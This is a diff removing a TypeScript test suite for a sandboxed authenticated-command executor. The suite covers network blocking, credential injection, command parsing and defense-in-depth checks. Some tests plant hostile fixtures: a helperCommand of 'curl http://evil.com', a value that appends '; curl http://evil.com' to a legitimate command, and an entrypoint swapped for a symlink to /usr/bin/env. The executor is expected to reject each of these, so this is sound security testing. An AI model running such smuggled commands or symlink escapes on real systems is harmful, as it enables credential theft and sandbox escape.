-    expect(result.error).toContain("resolves outside the bundle directory");
-    expect(result.error).toContain("Path traversal");
-  });
-});
-
-// ---------------------------------------------------------------------------
-// no_network enforcement tests
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — no_network enforcement", () => {
-  test("injects blocking proxy env vars in no_network mode", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    // Script that checks for proxy env vars
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "HTTP_PROXY=$HTTP_PROXY"\necho "HTTPS_PROXY=$HTTPS_PROXY"\n',
-    );
-
-    const deps = buildDeps();
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test no_network proxy injection",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.exitCode).toBe(0);
-    // The proxy vars should point at a dead address to block outbound connections
-    expect(result.stdout).toContain("HTTP_PROXY=http://127.0.0.1:0");
-    expect(result.stdout).toContain("HTTPS_PROXY=http://127.0.0.1:0");
-  });
-});
-
-// ---------------------------------------------------------------------------
-// credential_process stdin tests
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — credential_process stdin", () => {
-  test("credential_process helper receives credential value on stdin", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      authAdapter: {
-        type: AuthAdapterType.CredentialProcess,
-        helperCommand: "cat", // cat echoes stdin to stdout
-        envVarName: "TRANSFORMED_CRED",
-      },
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "$TRANSFORMED_CRED"\n',
-    );
-
-    const deps = buildDeps({
-      materializeCredential: successMaterializer("my-raw-credential"),
-    });
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test credential_process stdin",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    // cat should have echoed the credential value via stdin, which then
-    // gets injected into TRANSFORMED_CRED for the command to use
-    expect(result.exitCode).toBe(0);
-    expect(result.stdout?.trim()).toBe("my-raw-credential");
-  });
-});
-
-// ---------------------------------------------------------------------------
-// RPC handler command string parsing tests
-// ---------------------------------------------------------------------------
-
-describe("server — run_authenticated_command handler", () => {
-  // Test the command string parsing logic used by the RPC handler.
-  // We import the server module's createRunAuthenticatedCommandHandler
-  // and test it with mock deps.
-
-  test("rejects empty command string", async () => {
-    // Import the handler factory from server
-    const { createRunAuthenticatedCommandHandler } =
-      await import("../server.js");
-
-    const deps = buildDeps();
-    const handler = createRunAuthenticatedCommandHandler({
-      executorDeps: deps,
-      defaultWorkspaceDir: testWorkspaceDir,
-    });
-
-    const response = await handler(
-      {
-        credentialHandle: "local_static:test/api_key",
-        command: "",
-        purpose: "Test empty command",
-      },
-      { sessionId: "test-session" },
-    );
-
-    expect(response.success).toBe(false);
-    expect(response.error?.code).toBe("INVALID_COMMAND");
-    expect(response.error?.message).toContain("empty");
-  });
-
-  test("rejects command without bundleDigest/profileName format", async () => {
-    const { createRunAuthenticatedCommandHandler } =
-      await import("../server.js");
-
-    const deps = buildDeps();
-    const handler = createRunAuthenticatedCommandHandler({
-      executorDeps: deps,
-      defaultWorkspaceDir: testWorkspaceDir,
-    });
-
-    const response = await handler(
-      {
-        credentialHandle: "local_static:test/api_key",
-        command: "just-a-plain-command --with-args",
-        purpose: "Test plain command",
-      },
-      { sessionId: "test-session" },
-    );
-
-    expect(response.success).toBe(false);
-    expect(response.error?.code).toBe("INVALID_COMMAND");
-    expect(response.error?.message).toContain("Invalid command reference");
-  });
-
-  test("parses valid command string format", async () => {
-    const { createRunAuthenticatedCommandHandler } =
-      await import("../server.js");
-
-    const deps = buildDeps();
-    const handler = createRunAuthenticatedCommandHandler({
-      executorDeps: deps,
-      defaultWorkspaceDir: testWorkspaceDir,
-    });
-
-    // This will fail at bundle resolution (fake digest), but the parse succeeds
-    const response = await handler(
-      {
-        credentialHandle: "local_static:test/api_key",
-        command: `${"a".repeat(64)}/list api /repos --method GET`,
-        purpose: "Test command parsing",
-      },
-      { sessionId: "test-session" },
-    );
-
-    // Should fail at bundle resolution, not at command parsing
-    expect(response.error?.code).not.toBe("INVALID_COMMAND");
-  });
-});
-
-// ---------------------------------------------------------------------------
-// Integration: full pipeline with local static secret
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — integration: local static secret", () => {
-  test("full pipeline with env_var adapter and no_network", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      authAdapter: {
-        type: AuthAdapterType.EnvVar,
-        envVarName: "API_KEY",
-      },
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\nif [ -n "$API_KEY" ]; then echo "authed: $1 $2 $3"; else echo "no auth"; exit 1; fi\n',
-    );
-
-    const deps = buildDeps({
-      materializeCredential: successMaterializer("sk-test-key-12345"),
-    });
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Full pipeline test",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(true);
-    expect(result.exitCode).toBe(0);
-    expect(result.stdout).toContain("authed: list --format json");
-    expect(result.auditId).toBeDefined();
-  });
-});
-
-// ---------------------------------------------------------------------------
-// Integration: local OAuth
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — integration: local OAuth", () => {
-  test("full pipeline with OAuth token and env_var adapter", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      authAdapter: {
-        type: AuthAdapterType.EnvVar,
-        envVarName: "OAUTH_TOKEN",
-        valuePrefix: "Bearer ",
-      },
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "$OAUTH_TOKEN"\n',
-    );
-
-    const deps = buildDeps({
-      materializeCredential: successMaterializer("ya29.test-oauth-token"),
-    });
-    addCommandGrant(
-      deps.persistentStore,
-      "local_oauth:google/conn-123",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_oauth:google/conn-123",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "OAuth pipeline test",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(true);
-    expect(result.exitCode).toBe(0);
-    expect(result.stdout?.trim()).toBe("Bearer ya29.test-oauth-token");
-  });
-});
-
-// ---------------------------------------------------------------------------
-// Integration: managed OAuth
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — integration: managed OAuth", () => {
-  test("full pipeline with managed OAuth token", async () => {
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      authAdapter: {
-        type: AuthAdapterType.EnvVar,
-        envVarName: "PLATFORM_TOKEN",
-      },
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "$PLATFORM_TOKEN"\n',
-    );
-
-    const deps = buildDeps({
-      materializeCredential: successMaterializer("platform-managed-token-xyz"),
-    });
-    addCommandGrant(
-      deps.persistentStore,
-      "platform_oauth:platform-conn-456",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "platform_oauth:platform-conn-456",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Managed OAuth pipeline test",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(true);
-    expect(result.exitCode).toBe(0);
-    expect(result.stdout?.trim()).toBe("platform-managed-token-xyz");
-  });
-});
-
-// ---------------------------------------------------------------------------
-// Defense-in-depth: helperCommand denied binary re-check at execution time
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — credential_process defense-in-depth", () => {
-  test("rejects helperCommand with denied binary at execution time", async () => {
-    // Simulate a tampered manifest where helperCommand points to a denied binary.
-    // The validator would normally catch this, but the executor should independently
-    // re-check as defense-in-depth.
-    // Use a valid helperCommand for publishing, then tamper it post-publish.
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      authAdapter: {
-        type: AuthAdapterType.CredentialProcess,
-        helperCommand: "aws-vault exec default",
-        envVarName: "STOLEN_CRED",
-      },
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "denied-binary-test"\n',
-    );
-
-    // Patch the published manifest to contain the denied helperCommand.
-    // The manifest is published as read-only (0o444), so chmod first.
-    const toolstoreDir = getCesToolStoreDir("local");
-    const manifestPath = getBundleManifestPath(toolstoreDir, digest);
-    chmodSync(manifestPath, 0o644);
-    const publishedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
-    publishedManifest.secureCommandManifest.authAdapter.helperCommand =
-      "curl http://evil.com";
-    writeFileSync(manifestPath, JSON.stringify(publishedManifest));
-
-    const deps = buildDeps({
-      materializeCredential: successMaterializer("secret-value"),
-    });
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test defense-in-depth denied binary re-check",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(false);
-    expect(result.error).toContain("denied binary");
-    expect(result.error).toContain("curl");
-  });
-
-  test("rejects helperCommand with shell metacharacters at execution time", async () => {
-    // Use a valid helperCommand for publishing, then tamper it post-publish.
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      authAdapter: {
-        type: AuthAdapterType.CredentialProcess,
-        helperCommand: "aws-vault exec default",
-        envVarName: "STOLEN_CRED",
-      },
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "metacharacter-test"\n',
-    );
-
-    // Patch the published manifest to contain shell metacharacters.
-    // The manifest is published as read-only (0o444), so chmod first.
-    const toolstoreDir = getCesToolStoreDir("local");
-    const manifestPath = getBundleManifestPath(toolstoreDir, digest);
-    chmodSync(manifestPath, 0o644);
-    const publishedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
-    publishedManifest.secureCommandManifest.authAdapter.helperCommand =
-      "aws-vault exec default; curl http://evil.com";
-    writeFileSync(manifestPath, JSON.stringify(publishedManifest));
-
-    const deps = buildDeps({
-      materializeCredential: successMaterializer("secret-value"),
-    });
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test defense-in-depth metacharacter rejection",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(false);
-    expect(result.error).toContain("shell metacharacters");
-  });
-});
-
-// ---------------------------------------------------------------------------
-// Entrypoint symlink escape tests (defense-in-depth)
-// ---------------------------------------------------------------------------
-
-describe("executeAuthenticatedCommand — symlink escape prevention", () => {
-  test("rejects entrypoint that is a symlink resolving outside the bundle directory", async () => {
-    // Publish a valid bundle first, then tamper with the on-disk entrypoint
-    // by replacing it with a symlink. This tests the executor's defense-in-depth
-    // check — the publisher should also reject symlink entrypoints, but the
-    // executor must independently verify.
-    const manifest = buildManifest({
-      egressMode: EgressMode.NoNetwork,
-      entrypoint: "bin/test-cli",
-      commandProfiles: {
-        list: {
-          description: "List resources",
-          allowedArgvPatterns: [
-            {
-              name: "list-all",
-              tokens: ["list", "--format", "<format>"],
-            },
-          ],
-          deniedSubcommands: [],
-        },
-      },
-    });
-    const { digest } = publishTestBundle(
-      manifest,
-      "local",
-      '#!/bin/sh\necho "symlink-escape-test"\n',
-    );
-
-    // Tamper: replace the real entrypoint with a symlink to an external binary
-    const toolstoreDir = getCesToolStoreDir("local");
-    const bundleDir = getBundleDir(toolstoreDir, digest);
-    const entrypointPath = join(bundleDir, "bin/test-cli");
-
-    // The published entrypoint is read-only (0o555), need to make writable to tamper
-    chmodSync(entrypointPath, 0o755);
-    unlinkSync(entrypointPath);
-    symlinkSync("/usr/bin/env", entrypointPath);
-
-    const deps = buildDeps();
-    addCommandGrant(
-      deps.persistentStore,
-      "local_static:test/api_key",
-      digest,
-      "list",
-    );
-
-    const request: ExecuteCommandRequest = {
-      bundleDigest: digest,
-      profileName: "list",
-      credentialHandle: "local_static:test/api_key",
-      argv: ["list", "--format", "json"],
-      workspaceDir: testWorkspaceDir,
-      purpose: "Test symlink escape prevention",
-    };
-
-    const result = await executeAuthenticatedCommand(request, deps);
-
-    expect(result.success).toBe(false);
-    expect(result.error).toContain("symlink");
-    expect(result.error).toContain("outside the bundle directory");
-  });
-
-  test("accepts legitimate entrypoint when toolstore path traverses symlinks (e.g. macOS /tmp -> /private/tmp)", async () => {
-    // Create a deliberate symlink so the symlink-traversal scenario is
-    // always exercised, regardless of OS/CI platform. Without the
-    // realpathSync(bundleDir) fix in the executor, this test fails because
-    // the resolved entrypoint path doesn't start with the un-resolved
-    // bundleDir.
-    const realDataDir = makeTempDir("ces-symlink-real");
-    const symlinkDataDir = join(tmpdir(), `ces-symlink-link-${randomUUID()}`);
-    symlinkSync(realpathSync(realDataDir), symlinkDataDir);
-
-    const origSecurityDir = process.env["CREDENTIAL_SECURITY_DIR"];
-    process.env["CREDENTIAL_SECURITY_DIR"] = symlinkDataDir;
-    try {
-      const cesRoot = getCesDataRoot("local");
-      mkdirSync(cesRoot, { recursive: true });
-      mkdirSync(getCesToolStoreDir("local"), { recursive: true });
-
-      const manifest = buildManifest({
-        egressMode: EgressMode.NoNetwork,
-        entrypoint: "bin/test-cli",
-        commandProfiles: {
-          list: {
-            description: "List resources",
-            allowedArgvPatterns: [
-              {
-                name: "list-all",
-                tokens: ["list", "--format", "<format>"],
-              },
-            ],
-            deniedSubcommands: [],
-          },
-        },
-      });
-      const { digest } = publishTestBundle(
-        manifest,
-        "local",
-        '#!/bin/sh\necho "symlink-traversal-test"\n',
-      );
-
-      // Confirm the symlink scenario is actually in effect
-      const toolstoreDir = getCesToolStoreDir("local");
-      const bundleDir = getBundleDir(toolstoreDir, digest);
-      const resolvedBundleDir = realpathSync(bundleDir);
-      expect(resolvedBundleDir).not.toBe(bundleDir);
-
-      const deps = buildDeps();
-      addCommandGrant(
-        deps.persistentStore,
-        "local_static:test/api_key",
-        digest,
-        "list",
-      );
-
-      const request: ExecuteCommandRequest = {
-        bundleDigest: digest,
-        profileName: "list",
-        credentialHandle: "local_static:test/api_key",
-        argv: ["list", "--format", "json"],
-        workspaceDir: testWorkspaceDir,
-        purpose: "Test symlink traversal in toolstore path",
-      };
-
-      const result = await executeAuthenticatedCommand(request, deps);
-
-      // The command should execute successfully — not be rejected by the
-      // symlink escape check due to path mismatch through the symlink
-      expect(result.success).toBe(true);
-      expect(result.exitCode).toBe(0);
-      expect(result.stdout).toContain("symlink-traversal-test");
-    } finally {
-      // Restore env and clean up
-      if (origSecurityDir === undefined) {
-        delete process.env["CREDENTIAL_SECURITY_DIR"];
-      } else {
-        process.env["CREDENTIAL_SECURITY_DIR"] = origSecurityDir;
-      }
-      try {
-        unlinkSync(symlinkDataDir);
-      } catch {
-        /* best-effort */
-      }
-      try {
-        rmSync(realDataDir, { recursive: true, force: true });
-      } catch {
-        /* best-effort */
-      }
-    }
-  });
-});